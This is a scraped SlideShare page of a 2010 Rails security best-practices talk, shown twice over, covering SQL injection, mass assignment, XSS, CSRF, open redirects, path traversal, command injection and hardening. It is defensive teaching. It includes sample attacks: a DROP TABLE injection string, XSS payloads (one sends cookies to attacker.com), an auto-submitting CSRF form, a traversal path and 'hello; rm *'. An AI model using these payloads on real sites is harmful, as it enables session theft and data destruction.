Rails Security Best
     Practices
     http://ihower.tw
          2010/2
About Me
•           a.k.a. ihower
    • http://ihower.tw
    • http://twitter.com/ihower
    • http://github.com/ihower
•...
75% of attacks are at the
  web application layer
      (By The Gartnet Group estimation)
What is Security?
• a measurement, not a characteristic
  •   not a simple requirement to be met...


• must be balanced w...
Okay, your users are evil,
they will give you illegitimate operation and data.
Agenda
•   Information leaks
•   Session
•   SQL injection
•   Mass assignment
•   Unscoped finds
•   Controller Exposing m...
Information Leaks

• Rails app?
• Web and Application server?
• SVN metadata?
Rails app?
•   Default static files
    •   /javascript/application.js
    •   /stylesheets/application.css
    •   /images...
Web and Application
      Server?
• Server Header
 • apache
 • nginx
 • mongrel
 • mod_rails
Disable Server Header
Server:Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4.5 with Suhosin-Patch
Phusion_Passenger/2.2.9




✓ ...
SVN metadata

     • GET http://your_site.org/.svn/entries
     ✓      <DirectoryMatch "^/.*/.svn/">
              ErrorDo...
Sensitive Information
• Do not store sensitive information in the
  clear
  • cookie
  • session(or flash)
  • memory for a...
Filter Log params
    Processing UsersController#create (for 127.0.0.1 at 2009-01-02 10:13:13) [POST]
    Parameters: {"us...
Cookie Session Storage
       # config/initializers/session_store.rb
       ActionController::Base.session = {
         :k...
Session
   The session id is a 32 byte long MD5 hash value.




• Hijacking
• Fixation
 • reset_session after every login
SQL injection
                                              x'; DROP TABLE users; --




Project.find(:all, :conditions =>...
SQL injection
                 vulnerabilities:


• find_by_sql
• execute
• find with conditions in a string
• limit and off...
Always use the hash or
         array form
✓
    Project.find(:all, :conditions => { :name => params[:name] } )
    # or
 ...
Only allow predefine
                  value
    class User < ActiveRecord::Base

✓     def self.find_with_order(order)
   ...
Use quote if you need
   pass it directly
          ActiveRecord::Base::connection.quote


    class User < ActiveRecord::...
Mass assignment

def create
  params[:user] #=> {:name => “ow3ned”, :is_admin => true}
  @user = User.create(params[:user]...
Protect it!

✓   class User < ActiveRecord::Base
        attr_protected :admin
    end

    # or

    class User < ActiveR...
Assign protected
attributes manually
 params[:user] #=> {:name => "ow3ned", :admin => true}
 @user = User.new(params[:user...
Unscoped finds
    class UserOrdersController < ApplicationController

    def show
        @order = Order.find(params[:id]...
Controller Exposing
       methods

• Use protected and private
• If use RESTful design, do not use default
  routes
• htt...
XSS(Cross-Site Scripting)
      malicious users inject client-side script into web pages viewed by other users

<script>al...
XSS Protection (Rails2)

• Use escapeHTML() (or its alias h()) method
• Plugins
 •   http://github.com/nzkoz/rails_xss (fo...
XSS Protection (Rails3)

• Rails 3 auto escape string
• Unless you html_safe! string
Allow user to use
   simple HTML code
• Use white-list sanitize() method
• If you use Textile or Markdown markup
  languag...
CSRF
    Cross-Site Request Forgery




  Use another users’ authorization token to
interact with a web application as the...
CSRF protection (1)

• Use GET request for safe operation such as
  a query, read operation, or lookup
• Use POST request ...
But...
• POST requests can be sent automatically,
  too. An example:
     <a href="http://www.harmless.com/" onclick="
   ...
CSRF protection (2)
protect_from_forgery will check all POST requests for a security token




✓    class ApplicationContr...
Redirection
         Do not allow user to pass (parts of) the URL for redirection directly




       def legacy
         ...
File Uploads: Overwrite

• Make sure file uploads don’t overwrite
  important files. eg. “../../../etc/passwd”
• Validate fil...
File Uploads: Executable
•   never to allow users to upload any extension
    associated with executable content on your
 ...
File downloads
Make sure users cannot download arbitrary files.




send_file('/var/www/uploads/' + params[:filename])
Command Line
  Injection

system("/bin/echo","hello; rm *")
# prints "hello; rm *" and does not delete files
denial-of-service
      attacks (DoS)
• Avoid Long-running action, use background-
  processing.
• Use iptables and analyz...
Host
• Platform (Windows, Linux, Solaris, BSDs)
  choosing one which you can trust and familiar


• Firewall
  you can use...
Other issues


• CAPTCHAs
• Good passwords
Conclusion
• Rails has many security features enabled by
  default
  • SQL quoting
  • HTML sanitization
  • CSRF protecti...
Reference
•   Agile Web Development with Rails 3rd. Chap.27 Securing Your Rails Application
    (Pragmatic)
•   Rails2 Cha...
The End
Rails Security
Rails Security
Rails Security
Upcoming SlideShare
Loading in...5
×

Rails Security

16,091

Published on

Published in: Technology
2 Comments
43 Likes
Statistics
Notes
No Downloads
Views
Total Views
16,091
On Slideshare
0
From Embeds
0
Number of Embeds
6
Actions
Shares
0
Downloads
409
Comments
2
Likes
43
Embeds 0
No embeds

No notes for slide

Rails Security

  1. 1. Rails Security Best Practices http://ihower.tw 2010/2
  2. 2. About Me • a.k.a. ihower • http://ihower.tw • http://twitter.com/ihower • http://github.com/ihower • Ruby on Rails Developer since 2006 • Ruby Taiwan Community • http://ruby.tw
  3. 3. 75% of attacks are at the web application layer (By The Gartnet Group estimation)
  4. 4. What is Security? • a measurement, not a characteristic • not a simple requirement to be met... • must be balanced with expense • it’s easy and relatively inexpensive to provide a sufficient level of security for most applications. But if you need more... • must be balanced with usability • it’s often increase security also decrease the user usability... • must be part of the design (from PHP Security Guide: Overview)
  5. 5. Okay, your users are evil, they will give you illegitimate operation and data.
  6. 6. Agenda • Information leaks • Session • SQL injection • Mass assignment • Unscoped finds • Controller Exposing methods • XSS • CSRF • File uploads/download • DoS • Host
  7. 7. Information Leaks • Rails app? • Web and Application server? • SVN metadata?
  8. 8. Rails app? • Default static files • /javascript/application.js • /stylesheets/application.css • /images/ • URL schema • /post/show/3 • /users/5 • 404/500/422 pages
  9. 9. Web and Application Server? • Server Header • apache • nginx • mongrel • mod_rails
  10. 10. Disable Server Header Server:Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4.5 with Suhosin-Patch Phusion_Passenger/2.2.9 ✓ # apache2.conf ServerSignature Off ServerTokens Prod Server:Apache
  11. 11. SVN metadata • GET http://your_site.org/.svn/entries ✓ <DirectoryMatch "^/.*/.svn/"> ErrorDocument 403 /404.html Order allow,deny Deny from all Satisfy All </DirectoryMatch> Or just delete it: http://plog.longwin.com.tw/my_note-unix/2008/01/07/find_delete_svn_directory_2008
  12. 12. Sensitive Information • Do not store sensitive information in the clear • cookie • session(or flash) • memory for a long time • log files • cache
  13. 13. Filter Log params Processing UsersController#create (for 127.0.0.1 at 2009-01-02 10:13:13) [POST] Parameters: {"user"=>{"name"=>"eifion", "password_confirmation"=>"secret", "password"=>"secret"}, "commit"=>"Register", "authenticity_token"=>"9efc03bcc37191d8a6dc3676e2e7890ecdfda0b5"} ✓ # Rails 2.x class ApplicationController < ActionController::Base filter_parameter_logging "password" end Processing UsersController#create (for 127.0.0.1 at 2009-01-02 11:02:33) [POST] Parameters: {"user"=>{"name"=>"susan", "password_confirmation"=>"[FILTERED]", "password"=>"[FILTERED]"}, "commit"=>"Register", "action"=>"create", "authenticity_token"=>"9efc03bcc37191d8a6dc3676e2e7890ecdfda0b5", "controller"=>"users"}
  14. 14. Cookie Session Storage # config/initializers/session_store.rb ActionController::Base.session = { :key => '_app_session', :secret => '0x0dkfj3927dkc7djdh36rkckdfzsg...' } • Don’t use a trivial secret • Don’t store any secret information here • Or.... just switch to another session storage
  15. 15. Session The session id is a 32 byte long MD5 hash value. • Hijacking • Fixation • reset_session after every login
  16. 16. SQL injection x'; DROP TABLE users; -- Project.find(:all, :conditions => "name = '#{params[:name]}'") SELECT * FROM projects WHERE name = 'x'; DROP TABLE users; --’
  17. 17. SQL injection vulnerabilities: • find_by_sql • execute • find with conditions in a string • limit and offset (before rails 2.1.1) • group_by • order
  18. 18. Always use the hash or array form ✓ Project.find(:all, :conditions => { :name => params[:name] } ) # or Project.find(:all, :conditions => ["name = ?", params[:name] ] )
  19. 19. Only allow predefine value class User < ActiveRecord::Base ✓ def self.find_with_order(order) raise "SQL Injection Warning" unless ["id","id desc"].include?(order) find(:all, :limit => 1, :order => order ) end end
  20. 20. Use quote if you need pass it directly ActiveRecord::Base::connection.quote class User < ActiveRecord::Base ✓ def self.find_with_order(order) find(:all, :order => connection.quote(order) ) end end
  21. 21. Mass assignment def create params[:user] #=> {:name => “ow3ned”, :is_admin => true} @user = User.create(params[:user]) end def update @user = User.update_attributes(params[:user]) end
  22. 22. Protect it! ✓ class User < ActiveRecord::Base attr_protected :admin end # or class User < ActiveRecord::Base attr_accessible :name end
  23. 23. Assign protected attributes manually params[:user] #=> {:name => "ow3ned", :admin => true} @user = User.new(params[:user]) @user.admin #=> false # not mass-assigned @user.admin = true @user.admin #=> true
  24. 24. Unscoped finds class UserOrdersController < ApplicationController def show @order = Order.find(params[:id]) end ✓ def show @order = current_user.orders.find(params[:id] end
  25. 25. Controller Exposing methods • Use protected and private • If use RESTful design, do not use default routes • http://ihower.tw/blog/archives/3265
  26. 26. XSS(Cross-Site Scripting) malicious users inject client-side script into web pages viewed by other users <script>alert('HACK YOU!');</script> <img src=javascript:alert('HACK YOU!')> <table background="javascript:alert('HACK YOU!')"> <script>document.write(document.cookie);</script> <script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script> • Do not want to build black-list, you can find more at http://ha.ckers.org/xss.html
  27. 27. XSS Protection (Rails2) • Use escapeHTML() (or its alias h()) method • Plugins • http://github.com/nzkoz/rails_xss (for Rails 2.3) • http://agilewebdevelopment.com/plugins/safe_erb • http://code.google.com/p/xss-shield/ (Tainting way)
  28. 28. XSS Protection (Rails3) • Rails 3 auto escape string • Unless you html_safe! string
  29. 29. Allow user to use simple HTML code • Use white-list sanitize() method • If you use Textile or Markdown markup language, you still need sanitize it.
  30. 30. CSRF Cross-Site Request Forgery Use another users’ authorization token to interact with a web application as the trusted user in a malicious way.
  31. 31. CSRF protection (1) • Use GET request for safe operation such as a query, read operation, or lookup • Use POST request for any destructive actions such as create, update, delete
  32. 32. But... • POST requests can be sent automatically, too. An example: <a href="http://www.harmless.com/" onclick=" var f = document.createElement('form'); f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = 'http://www.example.com/account/destroy'; f.submit(); return false;">To the harmless survey</a>
  33. 33. CSRF protection (2) protect_from_forgery will check all POST requests for a security token ✓ class ApplicationController < ActionController::Base protect_from_forgery end <form action="/projects/1" class="edit_project" enctype="multipart/form-data" id="edit_project_1" method="post"> <div style="margin:0;padding:0;display:inline"> <input name="_method" type="hidden" value="put" /> <input name="authenticity_token" type="hidden" value="cuI +ljBAcBxcEkv4pbeqLTEnRUb9mUYMgfpkwOtoyiA=" /> </div>
  34. 34. Redirection Do not allow user to pass (parts of) the URL for redirection directly def legacy redirect_to(params.update(:action=>'main')) end http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
  35. 35. File Uploads: Overwrite • Make sure file uploads don’t overwrite important files. eg. “../../../etc/passwd” • Validate file name is simple. Don’t try to remove malicious parts. • Use plugins: attachment_fu or paperclip
  36. 36. File Uploads: Executable • never to allow users to upload any extension associated with executable content on your site (.php, .cgi ...etc) • when user download, set the appropriate Content-Type HTTP header, eliminate the potential for XSS attacks. • or never let these files be not accessible to your web server (outside the DocumentRoot in Apache)
  37. 37. File downloads Make sure users cannot download arbitrary files. send_file('/var/www/uploads/' + params[:filename])
  38. 38. Command Line Injection system("/bin/echo","hello; rm *") # prints "hello; rm *" and does not delete files
  39. 39. denial-of-service attacks (DoS) • Avoid Long-running action, use background- processing. • Use iptables and analyze web server log • Don’t bother your application server • Use Web server provide static files • Use HTTP reverse proxy if need
  40. 40. Host • Platform (Windows, Linux, Solaris, BSDs) choosing one which you can trust and familiar • Firewall you can use nmap tool to show which ports are open • SSH: move port 22 to another • Turn off any services that you aren’t using. • Hire system administrator to help Your time as a developer should be spent on the things your are good at.
  41. 41. Other issues • CAPTCHAs • Good passwords
  42. 42. Conclusion • Rails has many security features enabled by default • SQL quoting • HTML sanitization • CSRF protection
  43. 43. Reference • Agile Web Development with Rails 3rd. Chap.27 Securing Your Rails Application (Pragmatic) • Rails2 Chap.13 Security and Performance Enhancements (friendsof) • Advanced Rails Chap.5 Security (O’Reilly) • Security Audit by Aaron Bedra (Peepcode) • Security on Rails (Pragmatic) • PHP Security Guide • http://blog.innerewut.de/2009/11/3/ruby-en-rails-2009-recap • http://guides.rubyonrails.org/security.html • http://www.rorsecurity.info • http://asciicasts.com/episodes/178-seven-security-tips • http://www.ultrasaurus.com/sarahblog/2010/01/rails-security-review-checklist/ • http://www.quarkruby.com/2007/9/20/ruby-on-rails-security-guide • http://www.owasp.org
  44. 44. The End
  1. A particular slide catching your eye?

    Clipping is a handy way to collect important slides you want to go back to later.

×